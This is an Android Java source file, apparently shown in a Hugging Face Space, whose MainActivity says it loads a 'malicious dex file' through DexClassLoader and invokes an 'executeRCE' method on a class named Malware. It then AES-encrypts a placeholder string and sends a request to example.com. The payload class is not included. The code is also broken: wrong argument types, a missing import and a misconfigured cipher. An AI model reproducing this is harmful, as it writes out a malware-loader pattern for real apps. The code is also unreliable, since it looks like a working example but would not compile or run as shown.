Spaces:
Paused
Paused
File size: 2,982 Bytes
55c3ad6 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 | import android.content.pm.PackageParser;
import android.os.Build;
import android.os.Bundle;
import dalvik.system.DexClassLoader;
import javax.crypto.Cipher;
import javax.crypto.KeyGenerator;
import javax.crypto.SecretKey;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.security.SecureRandom;
import java.util.Base64;
import java.net.HttpURLConnection;
import java.net.URL;
public class MainActivity extends androidx.appcompat.app.AppCompatActivity {
private static final String TRANSFORMATION = "AES/GCM/NoPadding";
private static final int KEY_SIZE = 256;
private static final int IV_SIZE = 12;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
// Load the malicious dex file
String[] paths = getPackageCodePath().split(" ");
DexClassLoader cl = new DexClassLoader(paths, getPackageCodePath(), null, getClass().getClassLoader());
// Invoke the RCE method from the dex file
try {
Method m = cl.loadClass("com.example.malicious.Malware").getDeclaredMethod("executeRCE", String.class);
m.invoke(null, "Hello, Android!");
} catch (Exception e) {
e.printStackTrace();
}
// Encrypt sensitive data
try {
String sensitiveData = "Sensitive Data";
String encryptedData = encryptData(sensitiveData);
System.out.println("Encrypted Data: " + encryptedData);
} catch (Exception e) {
e.printStackTrace();
}
// Establish secure communication channel
try {
URL url = new URL("https://example.com");
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("GET");
int responseCode = conn.getResponseCode();
System.out.println("Response Code: " + responseCode);
} catch (Exception e) {
e.printStackTrace();
}
}
private String encryptData(String data) throws Exception {
KeyGenerator keyGen = KeyGenerator.getInstance("AES");
keyGen.init(KEY_SIZE);
SecretKey secretKey = keyGen.generateKey();
byte[] iv = new byte[IV_SIZE];
SecureRandom random = new SecureRandom();
random.nextBytes(iv);
IvParameterSpec ivSpec = new IvParameterSpec(iv);
Cipher cipher = Cipher.getInstance(TRANSFORMATION);
cipher.init(Cipher.ENCRYPT_MODE, secretKey, ivSpec);
byte[] encryptedData = cipher.doFinal(data.getBytes());
byte[] encryptedDataWithIv = new byte[IV_SIZE + encryptedData.length];
System.arraycopy(iv, 0, encryptedDataWithIv, 0, IV_SIZE);
System.arraycopy(encryptedData, 0, encryptedDataWithIv, IV_SIZE, encryptedData.length);
return Base64.getEncoder().encodeToString(encryptedDataWithIv);
}
}
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